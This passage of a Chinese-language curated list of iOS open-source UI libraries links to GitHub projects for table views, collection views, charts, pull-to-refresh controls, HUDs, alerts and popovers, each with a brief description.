* [Texture](https://github.com/TextureGroup/Texture) - Texture——保持最复杂的用户界面的流畅和响应.
* [Material-Controls-For-iOS](https://github.com/fpt-software/Material-Controls-For-iOS) - Many Google Material Design Controls for iOS native application.
* [Material-Controls-For-iOS](https://github.com/fpt-software/Material-Controls-For-iOS) - 大神模仿谷歌做的各种各样的iOS原生特效控件，非常全面.
* [Form](https://github.com/hyperoslo/Form) - Form 是一个方便开发者创建表单填写工作的 UI 库.
* [QMUI_iOS](https://github.com/Tencent/QMUI_iOS) - 腾讯出品 QMUI iOS——致力于提高项目 UI 开发效率的解决方案 http://qmuiteam.com/ios
* [JXCategoryView](https://github.com/pujiaxin33/JXCategoryView) - A powerful and easy to use category view (segmentedcontrol, segmentview, pagingview, pagerview, pagecontrol) (腾讯新闻、今日头条、QQ音乐、网易云音乐、京东、爱奇艺、腾讯视频、淘宝、天猫、简书、微博等所有主流APP分类切换滚动视图).
* [material-components-ios](https://github.com/material-components/material-components-ios) - 基于 Material Design 的组件库，包含iOS、Android、Web 三个平台的组件库和调用方法.
* [fluid-slider](https://github.com/Ramotion/fluid-slider) - A slider widget with a popup bubble displaying the precise value selected.
* [YXYDashLayer](https://github.com/yulingtianxia/YXYDashLayer) - Colorful Rounded Rect Dash Border.
#### 列表@
* [Eureka](https://github.com/xmartlabs/Eureka) - Eureka可以帮你简单优雅的实现动态table-view表单。它由rows,sections和forms组成。如果你的app包含大量表单，Eureka可以真正帮你节省时间.
* [Parade](https://github.com/HelloElephant/Parade) - Parallax Scroll-Jacking Effects Engine for iOS / tvOS.
#### TableView@
* [SWTableViewCell](https://github.com/CEWendel/SWTableViewCell) - 非常赞 UITableViewCell 的子类, 实现了左右滑动显示信息视图并调出按钮.
* [RETableViewManager](https://github.com/romaonthego/RETableViewManager) - 赞 一个非常强大的使用数据驱动的 UITableView 内容管理。可以十分方便地生成各种样式、各种功能的TableView。只要开发者能想到的列表效果或者功能，都可以利用这份代码迅速编写出来。比如，之前要实现一个填写各种资料的列表，可能需要很多代码，现在只需要几行代码就可以实现.
* [DZNEmptyDataSet](https://github.com/dzenbot/DZNEmptyDataSet) - 非常赞 DZNEmptyDataSet算是一个很标准的iOS内建方式，适合用来处理空的tableview和collection view。会自动将collection view处理完善，并将用户消息以合适美观的方式显示出来。每个iOS项目都可以自动处理.
* [folding-cell](https://github.com/Ramotion/folding-cell) - 很赞 一个比较酷炫的cell折叠动画效果.
* [VVeboTableViewDemo](https://github.com/johnil/VVeboTableViewDemo) - 此项目由VVebo剥离，希望你能通过这个demo看到我是如何进行TableView流畅度优化的.
* [SWTableViewCell](https://github.com/onevcat/SWTableViewCell) - 国内开源作者，带很多手势的表单元格.
* [MGSwipeTableCell](https://github.com/MortimerGoro/MGSwipeTableCell) - 另一个常见于很多应用中的UI组件，苹果应该考虑在标准的iOS SDK中加入一些类似的内容。Swipeable表格cell是这个pod的最佳描述，也是最好的。非常👍👍👍 .
* [MCSwipeTableViewCell](https://github.com/alikaragoz/MCSwipeTableViewCell) - 带很多手势的表单元格.
* [TMQuiltView](https://github.com/1000Memories/TMQuiltView) - 瀑布流.
* [XRWaterfallLayout](https://github.com/codingZero/XRWaterfallLayout) - 超简单的瀑布流实现,[实现说明](http://www.cocoachina.com/ios/20160407/15872.html).
* [WaterfallFlowDemo](https://github.com/lengmolehongyan/WaterfallFlowDemo) - 一个简单的UICollectionView瀑布流布局演示demo.
* [XLForm](https://github.com/xmartlabs/XLForm) - 很多表格类的table,写法更高冷一点，推荐使用.
* [AMWaveTransition](https://github.com/andreamazz/AMWaveTransition) - 很炫的带有表格的视图控制器切换效果，点击每个栏目会有限带有波浪效果的信息展示，类似于Facebook Paper.
* [UIScrollSlidingPages](https://github.com/TomThorpe/UIScrollSlidingPages) - 允许添加多视图控件，并且可以横向滚动。有点类似于Groupon app.
* [HorizontalScrollCell](https://github.com/mcelayir/HorizontalScrollCell) - HorizontalScrollCell是一款使用方便的水平方向可滚动的单元格，适用于UICollectionView中实现水片方向滚动视图.
* [SYJiugonggeTableView](https://github.com/shiyuan17/syTableView) - tableView封装的九宫格.
* [UUChatTableView](https://github.com/ZhipingYang/UUChatTableView) - UUChatTableView 气泡聊天界面，支持文本、图片以及音频的气泡聊天界面。[源码推荐说明](http://www.cocoachina.com/ios/20150205/11116.html).
* [Atlas-iOS](https://github.com/layerhq/Atlas-iOS) - 快速在iOS里集成聊天功能，类似开源版本的环信。Layer家开源了一套聊天app界面的解决方案.看起来很赞，很多蛮复杂的东西直接都帮封好了。不得不说现在做app开发真是很简单，大部分时间搭积木就可以了。[官方网站](https://atlas.layer.com/).
* [DLSlideView](https://github.com/agdsdl/DLSlideView) - DLSlideView对常见的顶部Tab页点击、滑动分页做了封装。它使用基于ViewController的container特性（而不是scrollview）来管理各个子页面，以支持无限分页，[源码推荐说明](http://www.cocoachina.com/ios/20150205/11116.html).
* [VOVCManager](https://github.com/pozi119/VOVCManager) - 页面管理器:1.跳转指定页面,只需要知道viewController的Class名,如果有storyboard,则需要指定storyboard名；2.无需添加基类；3.支持URLScheme跳转指定页面。
* [MBXPageViewController](https://github.com/Moblox/MBXPageViewController) - 简洁快速的页面切换--MBXPageViewController，带有按钮控件的UIPageController，非常整洁、简单以及快速。该项目通过三种形式展示页面之间的切换，比如导航栏上的多个tab切换、页面左右两端箭头指示切换，以及使用分段控件.
* [PagerTab](https://github.com/ming1016/PagerTab) - UIScrollView实现滑动转换页面，类似网易云音乐iOS版的页面滑动切换效果.
* [BATabBarController](https://github.com/antiguab/BATabBarController) - A TabBarController with a unique animation for selection. [GUITabPagerViewController](https://github.com/guilhermearaujo/GUITabPagerViewController) - 多个tab滑动切换.
* [VOMetroLayoutDemo](https://github.com/pozi119/VOMetroLayoutDemo) - Metro风格的UICollectionView, 目前只支持横向布局,仅在iPad上应用.
* [KYCellAnimation](https://github.com/KittenYang/KYCellAnimation) - 给UITableViewCell增加进入的动画.
* [RDVTabBarController](https://github.com/robbdimitrov/RDVTabBarController) - 一个TabBar组件，可以方便设置底部菜单的文字图片，点击效果，小红点提示等.
* [WXTabBarController](https://github.com/leichunfeng/WXTabBarController) - 在系统 UITabBarController 的基础上完美实现了安卓版微信 TabBar 的滑动切换功能，单手操作 iPhone 6 Plus 切换 TabBar 一直是一件很痛苦的事情，而滑动切换是一种不错的解决方案，支持屏幕旋转.
* [CYLTableViewPlaceHolder](https://github.com/ChenYilong/CYLTableViewPlaceHolder) - 一行代码完成“空TableView占位视图”管理.
* [GooeyTabbar](https://github.com/KittenYang/GooeyTabbar) - 皮筋式弹性缩放工具栏示例及演示.
* [横向展示文本内容的自定义cell](http://d.cocoachina.com/code/detail/298409) - 可以横向展示文本内容的自定义cell，根据文本无限滚动.
* [ExpandingStackCells](https://github.com/jozsef-vesza/ExpandingStackCells) - 采用 UIStackView 实现表格单元格扩展内容显示示例及解决方案.
* [FDStackView](https://github.com/forkingdog/FDStackView) - 可以将 UIStackView 的最低支持版本拉低到 iOS6，无需配置，没有代码侵染，扔到工程里后直接用系统 UIStackView 的 API 即可，同时兼容 Storyboard.
* [JXPagingView](https://github.com/pujiaxin33/JXPagingView) - 类似微博主页、简书主页等效果。多页面嵌套，既可以上下滑动，也可以左右滑动切换页面。支持HeaderView悬浮、支持下拉刷新、上拉加载更多.
* [MDIHorizontalSectionTableViewController](https://github.com/WeeTom/MDIHorizontalSectionTableViewController) - 根据产品需求开源了一个交互项目，可以理解为横向Section的TableView，section和cell同时支持拖拽，后续安卓版本也会开源出来.
* [JZNavigationExtension](https://github.com/JazysYu/JZNavigationExtension) - 多功能导航控制器，可以透明返回栏.
* [QuickRearrangeTableView](https://github.com/okla/QuickRearrangeTableView) - 基于 UITableView 的快速重排功能扩展子类。通过长按选定单元格然后滚动移动到指定位置.
* [uicollectionview-reordering](https://github.com/nshintio/uicollectionview-reordering) - UICollectionViews的拖拽(拖动、移动)效果,[实例教程](http://nshint.io/blog/2015/07/16/uicollectionviews-now-have-easy-reordering/).
* [JXPageListView](https://github.com/pujiaxin33/JXPageListView) - 高仿闲鱼、转转、京东、中央天气预报等主流APP列表底部分页滚动视图.
* [LLNoDataView](https://github.com/LvJianfeng/LLNoDataView) - 超简单的空数据提示通用View支持UIScrollView、UITableView、UICollectionView、UIWebView.
* [XLPlainFlowLayout](https://github.com/HebeTienCoder/XLPlainFlowLayout) - 可以让UICollectionView的header也支持悬停效果，类似于tableView的Plain风格.
* [PSTCollectionView](https://github.com/steipete/PSTCollectionView) - PSTCollectionView.
* [LLRiseTabBar-iOS](https://github.com/lianleven/LLRiseTabBar-iOS) - 直接使用系统的特性实现的tabbar，比较简单.
* [MTMaterialDelete](https://github.com/MartinRGB/MTMaterialDelete) - 非常有趣的Material Design动画，动画删除表里面的单元格.
* [BusyNavigationBar](https://github.com/gmertk/BusyNavigationBar) - 进度条式NavigationBar导航条.
* [LGSettingView](https://github.com/LiGoEX/LGSettingView) - LGSettingView仅需三句代码即可快速集成设置界面，免去每次开发新应用都要重新布置设置界面的烦恼.
* [微博cell自动布局](http://code.cocoachina.com/view/129212) - 使用autoLayout对微博的cell进行自动布局，自适应cell的高度.
* [TreeTableView](https://github.com/TyroneWing/TreeTableView) - ZYTreeTableView：TreeView 模仿好友列表的实现方式.
* [ZWSlideViewController](https://github.com/squarezw/ZWSlideViewController) - ZWSlideViewController多页滑动视图控制器（类似新闻类门户APP）,可以用最简单的继承方法使用，也可以不用继承，只用菜单或主视图页面，可实现丰富的定制，可以使用在多种不同形态的APP下，还可以将其做为多页或多图的滑动介绍.
* [XWCatergoryView](https://github.com/wazrx/XWCatergoryView) - 一个轻量级的顶部分类视图控件，只需要通过简单的设置，你就可以快速集成该控件， 控件目前暂时有底部横条移动，椭圆背景移动，文字缩放，文字颜色变化，和文字颜色渐变五种效果，五种效果可以叠加使用也可以单一使用。[实现教程](http://www.jianshu.com/p/274d19f97564)
* [jingDongFenLei](http://code.cocoachina.com/view/129675) - 简单仿写京东分类中的多级分类页面.
* [RKSwipeBetweenViewControllers](https://github.com/cwRichardKim/RKSwipeBetweenViewControllers) - 页面滑动和标签选项卡类库.
* [FriendSearch](http://www.cocoachina.com/ios/20160407/15870.html) - 两种UI的搜索，搜索的算法可以满足中英文互搜，联想搜索等，其中还包含对一组数据自动进行按字母分组等功能.
* [YX_UITableView_IN_UITableView](https://github.com/yixiangboy/YX_UITableView_IN_UITableView) - UITableview嵌套UITableView案例实践（仿淘宝商品详情页实现），[项目讲解](http://blog.csdn.net/yixiangboy/article/details/51009010).
* [TYPagerController](https://github.com/12207480/TYPagerController) - 简单，支持定制，页面控制器,可以滚动内容和标题栏,包含多种style.
* [YZHeaderScaleImage](https://github.com/iThinkerYZ/YZHeaderScaleImage) - 一行代码快速集成tableView中头部缩放视图.
* [ExpandTableView](https://github.com/zhengwenming/ExpandTableView) - 可折叠展开的tableView，QQ好友分组列表.
* [SwipeTableView](https://github.com/Roylee-ML/SwipeTableView) - Both scroll horizontal and vertical for segment scrollview which have a same header. — 类似半糖、美丽说主页与QQ音乐歌曲列表布局效果，实现不同菜单的左右滑动切换，同时支持类似tableview的顶部工具栏悬停（既可以左右滑动，又可以上下滑动）。兼容下拉刷新，自定义 collectionview实现自适应 contentSize 还可实现瀑布流功能.
* [TableViewAnimationKit](https://github.com/alanwangmodify/TableViewAnimationKit) - TableView Animation ，move your tableView.
* [HVScrollView](https://github.com/SPStore/HVScrollView) - 这不是框架，只是3个示例程序，给大家提供一个实现这种布局的思路.
* [iOS开发的一些奇巧淫技1](http://www.jianshu.com/p/50b63a221f09) - TableView不显示没内容的Cell怎么办.
* [EHHorizontalSelectionView](https://github.com/josshad/EHHorizontalSelectionView) - Horizontal table view style controller.
* [YHListKit](https://github.com/ShannonChenCHN/YHListKit) - 一个轻量级的数据驱动列表框架.
* [LYEmptyView](https://github.com/yangli-dev/LYEmptyView) - iOS一行代码集成空白页面占位图（无数据、无网络占位图).
#### TableView适配@
* [UITableView-FDTemplateLayoutCell](https://github.com/forkingdog/UITableView-FDTemplateLayoutCell) - UITableView-FDTemplateLayoutCell 是一个方便缓存 UITableViewCell 的高度的框架.
#### CollectionView@
* [IGListKit](https://github.com/Instagram/IGListKit) - IGListKit是Instagram推出的新的UICollectionView框架，使用数据驱动，为了构建快速和可扩展的列表。另外，它有助于你在 app 结束对于大量视图控制器的使用.
* [SFFocusViewLayout](https://github.com/fdzsergio/SFFocusViewLayout) - UICollectionView的高级使用方法哦SFFocusViewLayou.
* [RACollectionViewReorderableTripletLayout](https://github.com/ra1028/RACollectionViewReorderableTripletLayout) - 自定义的CollectionView布局，可以通过拖动进行cell的重新排序.
* [CollectionViewClassifyMenu](https://github.com/ChenYilong/CollectionViewClassifyMenu) - CollectionView做的两级菜单，可以折叠第二级菜单.
* [TableFlip](https://github.com/mergesort/TableFlip) - A simpler way to do cool UITableView animations.
* [DraggingSort](https://github.com/HelloYeah/DraggingSort) - 长按拖拽排序.
* [AppStore-Horizontal-Demo](https://github.com/liao3841054/AppStore-Horizontal-Demo) - 仿半糖App 个人中心可以横向滚动的 列表 UICollectionView UITableView UISrcrollView.
* [CollectionKit](https://github.com/SoySauceLab/CollectionKit) - A modern Swift framework for building reusable data-driven collection components.
* [CSStickyHeaderFlowLayout](https://github.com/jamztang/CSStickyHeaderFlowLayout) - CollectionView实现悬停的header.
#### 图表@
* [Charts](https://github.com/danielgindi/Charts) - 一款优秀 Android 图表开源库 MPAndroidChart 的 Swift 语言实现版（支持 Objective-C 和 Swift 调用）。缺省提供的示例代码为 Objective-C.
* [PNChart](https://github.com/kevinzhow/PNChart) - 国内开源作者，动态的图表.
* [JBChartView](https://github.com/Jawbone/JBChartView) - 基于iOS的用于线路和条形图的图表库.
* [KLine](https://github.com/AbuIOSDeveloper/KLine) - (CAShapelayer + UIBezierPath)绘制K线支撑横竖屏切换、刷新、长按、缩放、masonry适配，完美支持金融产品 非常的流畅，占用内存少，使用矢量进行填充K线，持续更新.
* [XJYChart](https://github.com/JunyiXie/XJYChart) - 优秀的的图表框架。支持动画，点击，滑动，区域高亮.
* [AAChartKit](https://github.com/AAChartModel/AAChartKit) - 极其精美而又强大的 iOS 图表组件库,支持柱状图、条形图、折线图、曲线图、折线填充图、曲线填充图、气泡图、扇形图、环形图、散点图、雷达图、混合图等各种类型的多达几十种的信息图图表,完全满足…
* [YOChartImageKit](https://github.com/yasuoza/YOChartImageKit) - 支持在watchOS上绘制图表，看它最近更新挺勤快的，可以关注一下.
* [RealtimeGradientText](https://github.com/kevinzhow/RealtimeGradientText) - Fun With CALayer Mask 刚好今天开源了一个有趣的项目 RealtimeGradientText，所以也好聊一下 CALayer 的 Mask，[说明](http://blog.zhowkev.in/2015/07/06/fun-with-mask/).
* [XYPieChart](https://github.com/xyfeng/XYPieChart) - XYPieChart:饼状图, 饼图, 数据统计, 数据可视化,可以在图形上标注数据。效果十分漂亮，而且没有用到一张图片.
* [ZFChart](https://github.com/Zirkfied/ZFChart) - 模仿PNChart写的一个图表库，用法简单，暂时有柱状图，线状图，饼图三种类型，后续可能会更新新的类型.
* [JYRadarChart](https://github.com/johnnywjy/JYRadarChart) - 一个很赞的图表库.
* [iOS-Echarts](https://github.com/Pluto-Y/iOS-Echarts) - 将百度的 ECharts (Echarts2) 工具封装成对应的 iOS 和 Mac 的控件。
* [FSLineChart](https://github.com/ArthurGuibert/FSLineChart) - 一个适用于 iOS 的折线图表。
#### 下拉刷新@
* [MJRefresh](https://github.com/CoderMJLee/MJRefresh) - 仅需一行代码就可以为UITableView或者CollectionView加上下拉刷新或者上拉刷新功能。可以自定义上下拉刷新的文字说明。具体使用看“使用方法”.
* [XHRefreshControl](https://github.com/xhzengAIB/XHRefreshControl) - XHRefreshControl 是一款高扩展性、低耦合度的下拉刷新、上提加载更多的组件.
* [CBStoreHouseRefreshControl](https://github.com/coolbeet/CBStoreHouseRefreshControl) - 一个效果很酷炫的下拉刷新控件.
* [KYJellyPullToRefresh](https://github.com/KittenYang/KYJellyPullToRefresh) - 实现弹性物理效果的下拉刷新，神奇的贝塞尔曲线，配合UIDynamic写的一个拟物的下拉刷新动画.
* [MHYahooParallaxView](https://github.com/michaelhenry/MHYahooParallaxView) - 类似于Yahoo Weather和News Digest首屏的视差滚动.
* [SDRefreshView](https://github.com/gsdios/SDRefreshView) - 简单易用的上拉和下拉刷新（多版本细节适配）.
* [可展开/收缩的下拉菜单--SvpplyTable](http://d.cocoachina.com/code/detail/237753) - 一个可展开可收缩的下拉菜单，类似Svpply app.
* [ODRefreshControl](https://github.com/Sephiroth87/ODRefreshControl) - 原iOS6上的橡皮糖刷新样式，很有意思。现在也很多大的 App 在用，比如虾米音乐和 QQ 客户端.
* [PullToMakeSoup](https://github.com/Yalantis/PullToMakeSoup) - PullToMakeSoup, 自定义下拉刷新的动画效果：煮饭, Yalantis新作.
* [TwitterCover](https://github.com/cyndibaby905/TwitterCover) - Twitter iOS客户端的下拉封面模糊效果.
* [Replace-iOS](https://github.com/MartinRGB/Replace-iOS) - Replace-iOS 让人眼前一亮的下拉刷新（iOS).
* [Animations](https://github.com/KittenYang/Animations) - 封装了一下，使用的时候只要两行代码。一些动画的飞机稿，都是一些单独分离出来的用于测试的子动画，现在统一归类一下.
* [PullToBounce](https://github.com/entotsu/PullToBounce) - 下拉刷新的动画 for UIScrollView.
* [WaterDropRefresh](https://github.com/li6185377/WaterDropRefresh) - 仿Path 水滴的下拉刷新效果 还有视差滚动.
* [ESRefreshControl](https://github.com/EnjoySR/ESRefreshControl) - 仿新浪微博、百度外卖、网易新闻下拉刷新样式Demo（仅供参考）.
* [WaveRefresh](https://github.com/alienjun/AJWaveRefresh) - 下拉刷新水波纹动画.
* [DGElasticPullToRefresh](https://github.com/gontovnik/DGElasticPullToRefresh) - 是一款带有弹性效果的 iOS 下拉刷新组件.
* [BanTangAnimation](https://github.com/zangqilong198812/BanTangAnimation) - 半糖下拉刷新的原理。简单来说是利用CGGlyph，字符图形转换成cgpath，然后绘制strokeEnd动画。把timeoffset和scrolloffset结合就行了。
* [SURefresh](https://github.com/DaMingShen/SURefresh) - BOSS直聘APP下拉刷新动画实现，效果展示图－> [实现思路](http://mp.weixin.qq.com/s?__biz=MzA4ODk0NjY4NA==&mid=2701606115&idx=1&sn=98a486103668a30e16a328cbb529fe5e&scene=23&srcid=0728iIHfF3zMvIvdpqrIXCOK#rd)再复杂的动画都可以拆分成许多简单的动画组合起来，这个动画大概可以分成两个主体，我把它分别录制出来给大家看看.
* [TGRefreshOC](https://github.com/targetcloud/TGRefreshOC) - 弹簧、橡皮筋下拉刷新控件，类似QQ下拉刷新效果，同时支持其他样式.
* [GSRefresh](https://github.com/wxxsw/GSRefresh) - 完全自定义视图和动画的下拉刷新、上拉加载库，易扩展.
#### 模糊效果@
* [FXBlurView](https://github.com/nicklockwood/FXBlurView) - 是一个UIView子类，支持iOS5.0以上版本，支持静态、动态模糊效果，继承与UIView的模糊特效.
* [VVBlurPresentation](https://github.com/onevcat/VVBlurPresentation) - 很简单易用的在原来viewconntroller基础上做模糊，然后present新的viewcontroller的.
* [UICustomActionSheet](https://github.com/pchernovolenko/UICustomActionSheet) - 通过模糊背景来着重强调与菜单相关的元素--对话框 里面已经收藏.
* [SABlurImageView](https://github.com/szk-atmosphere/SABlurImageView) - 支持渐变动画效果的图像模糊化类库。P.S. 与前几天推存类库 SAHistoryNavigationViewController 是同一位作者.
#### 日历三方库@
* [FSCalendar](https://github.com/WenchaoD/FSCalendar) - 一个完全可定制的 iOS 日历库，兼容 Objective-C 和 Swift。
* [TEAChart](https://github.com/xhacker/TEAChart) - xhacker/TEAChart 一个简洁的 iOS 图表库，支持柱状图、饼图以及日历等.
* [CVCalendar](https://github.com/Mozharovsky/CVCalendar) - 是一个方便开发者集成自定义日历视图到自己 iOS 应用的项目, 支持 Storyboard 和手动配置, 使用 CocoaPods 进行安装, 提供了丰富的 API 供开发者使用.
#### 颜色@
* [Chameleon](https://github.com/ViccAlexander/Chameleon) - Chameleon是一个非常棒👍👍👍iOS的色彩框架。它运用现代化flat color将UIColor扩展地非常美观。我们还可以通过它运用自定义颜色创建调色板。它还有很多功用，请浏览readme。同时支持Swift.
* [Colours](https://github.com/bennyguitar/Colours) - Colours–颜色库,包含100种预定义的颜色和方法.
* [DKNightVersion](https://github.com/Draveness/DKNightVersion) - Manage Colors, Integrate Night/Multiple Themes.
#### scrollView@
* [SYParallaxScrollView](https://github.com/syjdev/SYParallaxScrollView) - Useful for Configure Horizontal Parallax Scroll.
* [LazyScrollView](https://github.com/alibaba/LazyScrollView) - iOS 高性能异构滚动视图构建方案.
* [GKPageScrollView](https://github.com/QuintGao/GKPageScrollView) - iOS类似微博、抖音、网易云等个人详情页滑动嵌套效果.
#### 对话交互@
#### 隐藏与显示@
* [SlideTapBar](http://d.cocoachina.com/code/detail/286102) - 滚动栏菜单，向上滚动时隐藏tabbar，向下滚动马上显示tabbar.
* [FoldingTabBar.iOS](https://github.com/Yalantis/FoldingTabBar.iOS) - 可折叠Tab Bar和Tab Bar Controller.
* [KMNavigationBarTransition](https://github.com/MoZhouqi/KMNavigationBarTransition) - LTNavigationBar在右滑返回的时候NavigationBar显示都不完美,KMNavigationBarTransition一个用来统一管理导航栏转场以及当 push 或者 pop 的时候使动画效果更加顺滑的通用库，并且同时支持竖屏和横屏.
* [HYNavBarHidden](https://github.com/HelloYeah/HYNavBarHidden) - 导航条滚动透明，超简单好用的监听滚动,导航条渐隐的UI效果实现.
* [BLKFlexibleHeightBar](https://github.com/bryankeller/BLKFlexibleHeightBar) - 非常赞，是一个使导航栏高度可以动态变化的 UI 库。固定Header的效果库，一个拥有非常灵活高度的标题栏，可以为使用软件的用户提供更多的阅读和滑动空间，现在已经被众多app所采用.
* [JXT_iOS_Demos](https://github.com/kukumaluCN/JXT_iOS_Demos) - AboutNavigationBar:一些关于navigationBar的非常规的但是较为实用的操作，包括利用毛玻璃、动态透明、动态隐藏，以及头视图的动态缩放，并同时涉及了statusBar的动态设置（换色）。[教程](http://www.jianshu.com/p/b2585c37e14b).
* [NavigationBarScaleViewDemo](https://github.com/CoderJackyHuang/NavigationBarScaleViewDemo) - iOS导航条自由缩放头像效果。[原理剖析](http://www.henishuo.com/nav-photo-scale/).
#### HUD与Toast@
* [MBProgressHUD](https://github.com/jdg/MBProgressHUD) - MBProgressHUD + Customizations.
* [SVProgressHUD](https://github.com/SVProgressHUD/SVProgressHUD) - 非常赞 SVProgressHUD的loading，如果你需要定制化的等待提示器，这个就是了（也许是最好的）.
* [JDStatusBarNotification](https://github.com/calimarkus/JDStatusBarNotification) - 非常赞👍👍👍 的自定义顶部通知.
* [Toast](https://github.com/scalessec/Toast) - An Objective-C category that adds toast notifications to the UIView object class.
* [EBuyCommon](https://github.com/LvJianfeng/EBuyCommon) - 1.基于MBProgressHUD实现得图形加载提示方式，及其它标题方式提醒。2.弹窗.
* [WZDraggableSwitchHeaderView](https://github.com/wongzigii/WZDraggableSwitchHeaderView) - Show status for transition across viewControllers.
* [ProgressHUD](https://github.com/relatedcode/ProgressHUD) - ProgressHUD的loading，使用最简单.
* [MMProgressHUD](https://github.com/mutualmobile/MMProgressHUD) - 设置HUD出现和消失的方式（包括上下、左右、淡入淡出、放大缩小等等），设置HUD的内容（可以在HUD中加入帧动画、动态图片等等），设置HUD出现时的底部覆盖层颜色，等等。总而言之，这是一份集大成的HUD代码.
* [WSProgressHUD](https://github.com/devSC/WSProgressHUD) - 一个小巧精致的HUD,支持添加到自定义View上, 还有更多小细节.
* [PreLoader](https://github.com/liuzhiyi1992/PreLoader) - 一个很有意思的HUD loading ，通过运动污点和固定污点之间的粘黏动画吸引用户的眼球跟踪，能有效分散等待注意力。[PreLoader的实现讲解](http://www.cocoachina.com/ios/20160427/16029.html).
* [FillableLoaders](https://github.com/poolqf/FillableLoaders) - 自定义加载进度UI-Completely customizable progress based loaders drawn using custom CGPaths written in Swift :large_orange_diamond:
* [TopAlert](https://github.com/roycms/TopAlert) - 顶部提示View.
* [CMPopTipView](https://github.com/chrismiles/CMPopTipView) - 自定义气泡View提示框.
* [WeChatFloat](https://github.com/SherlockQi/WeChatFloat) - 仿微信浮窗功能.
* [KJLoadingDemo](https://github.com/yangKJ/KJLoadingDemo) - 汇集整理一些样式的Loading加载等待动画，封装以及简单调用，使用起来也非常方便快捷，同样你也可以把他作为HUD来使用
* [JGProgressHUD](https://github.com/JonasGessner/JGProgressHUD) - An elegant and simple progress HUD for iOS and tvOS, compatible with Swift and ObjC.
#### 对话框@
* [SCLAlertView](https://github.com/dogo/SCLAlertView) - 有特色的对话框.
* [LCActionSheet](https://github.com/iTofu/LCActionSheet) - 一款简约而不失强大的 ActionSheet，微信和微博都采取了极其类似的样式.
* [WCAlertView](https://github.com/m1entus/WCAlertView) - 自定义的对话框.
* [STPopup](https://github.com/kevin0571/STPopup) - 提供了一个可在 iPhone 和 iPad 上使用的具有 UINavigationController 弹出效果的 STPopupController 类, 并能在 Storyboard 上很好的工作.
* [AMSmoothAlert](https://github.com/mtonio91/AMSmoothAlert) - 动画效果不错，最多star，但不支持arm64.
* [DQAlertView](https://github.com/dinhquan/DQAlertView) - 扁平化的样式不错.
* [HHAlertView](https://github.com/mrchenhao/HHAlertView) - 一个简易的alertview 有三种样式，有成功，失败，和警告三种样式，支持Delegate和block两种回调.
* [MJPopupViewController](https://github.com/martinjuhasz/MJPopupViewController) - 实现弹出视图的各种弹出和消失效果，包括淡入淡出（fade in，fade out），从屏幕上方飞进，下方飞出，从屏幕左方飞进，右方飞出等等效果，弹窗.
* [MMPopupView](https://github.com/adad184/MMPopupView) - 弹出框的基类组件（弹窗）.
* [Menu](https://github.com/fengchuanxiang/Menu) - 项目中可能会用到的常用菜单，以后有时间会继续补充，弹窗.
* [EasyTipView](https://github.com/teodorpatras/EasyTipView) - 弹出提示框类及演示示例。同样地，API 简单、易用。好“轮子”，弹窗.
* [kxmenu](https://github.com/kolyvan/kxmenu) - kxmenu弹出菜单，点击视图上任意位置的按钮，会弹出一个菜单，并且有个小箭头指向点击的按钮，类似气泡视图。弹出的菜单位置会根据按钮的位置来进行调整.
* [QBPopupMenu](https://github.com/questbeat/QBPopupMenu) - QBPopupMenu弹出菜单，实现类似 UIMenuItem 的弹出菜单按钮。点击按钮，会弹出一个菜单，上面可以排列多个按钮。纯代码实现，不需要任何图片.
* [GMenuController](https://github.com/GIKICoder/GMenuController) - 具有和系统UIMenuController行为,交互一致的Menu弹出控件.相比UIMenuController.具有更加友好的使用方式. 支持MenuItem指定target.使用更加灵活,支持更改menuview 外观设置.
* [STModalDemo](https://github.com/zhenlintie/STModalDemo) - 弹出视图（通知，提示，选择，窗口）.
* [TAOverlay](https://github.com/TaimurAyaz/TAOverlay) - TAOverlay可通过叠加层展示有用的信息，可自定义文本和背景色，添加阴影和模糊效果，以及更改字体大小或者用自定义图片替换页面上的icon.
* [UICustomActionSheet](https://github.com/pchernovolenko/UICustomActionSheet) - 通过模糊背景来着重强调与菜单相关的元素--模糊效果 里面已经收藏.
* [ActionSheetPicker-3.0](http://code.cocoachina.com/detail/232178) - 该项目是此前热门项目ActionSheetPicker的新版本，快速复制了iOS 8上的下拉 UIPickerView/ActionSheet功能.
* [MJAlertView](https://github.com/mayuur/MJAlertView) - 3D效果转场效果警示图--MJAlertView.
* [PSTAlertController](https://github.com/steipete/PSTAlertController) - 兼容 iOS7的 XXAlertController，接口跟UIAlertController 一模一样，做到高低版本通用.
* [PCLBlurEffectAlert.swfit](https://github.com/hryk224/PCLBlurEffectAlert) - 细节定制较丰富的弹出警报窗口组件.
* [GSAlert.swfit](https://github.com/wxxsw/GSAlert) - 苹果在iOS8推出了全新的UIAlertController，旧的UIAlertView和UIActionSheet渐渐被废弃，但如果你仍然支持iOS7系统，你将不得不写两套代码。GSAlert解决了这个问题.
* [SweetAlert-iOS](https://github.com/codestergit/SweetAlert-iOS) - SweetAlert-iOS 带动画效果弹窗对话框封装类.
* [CCActionSheet](https://github.com/maxmoo/CCActionSheet) - CCActionSheet：仿照微信朋友圈自定义actionsheet，一行代码即可使用.
* [CustomPopOverView](https://github.com/maltsugar/CustomPopOverView) - 自定义弹出视图，内容支持传一组菜单标题，也支持自定义view，或者自定义viewController，支持任意按钮触发，会显示在按钮底部，也支持切换按钮的对齐方式：左对齐、居中、右对齐.
* [TOActionSheet](https://github.com/TimOliver/TOActionSheet) - 是一个 iOS UI 控件，提供一个模态提示控制，类似于 UIActionSheet。不同于 UIActionSheet 的是，它可以深度重设主题，通过对每个按钮使用块来避免委托模式.
* [ZFAlertController](https://github.com//ICU-Coders/ZFAlertController) - 一款可高度自定义的弹窗（Alert，ActionSheet），使用方法完全类似UIAlertController
#### Pop@
* [AMPopTip](https://github.com/andreamazz/AMPopTip) - 一个可以定义frame的带动画的popover. An animated popover that pops out a given frame, great for subtle UI tips and onboarding.
* [DXPopover](https://github.com/xiekw2010/DXPopover) - 很赞 DXPopover微信右上角的+点击展示列表效果，弹窗菜单。 A Popover mimic Facebook app popover using UIKit.
* [zhPopupController](https://github.com/snail-z/zhPopupController) - Popup your custom view is easy, support custom mask style, transition effects and gesture to drag.
* [FFPopup](https://github.com/JonyFang/FFPopup) - 🎉Presenting custom views as a popup in iOS.
* [GTSheet](https://github.com/gametimesf/GTSheet) - An easy to integrate solution for presenting UIViewControllers in a bottom sheet.
* [LewPopupViewController](https://github.com/pljhonglu/LewPopupViewController) - ios 弹出视图.
* [YCXMenuDemo_ObjC](https://github.com/Aster0id/YCXMenuDemo_ObjC) - `TCXMenu` is an easy-to-use menu.
* [PopMenu](https://github.com/xhzengAIB/PopMenu) - 用POP动画引擎写的Sina微博的Menu菜单.
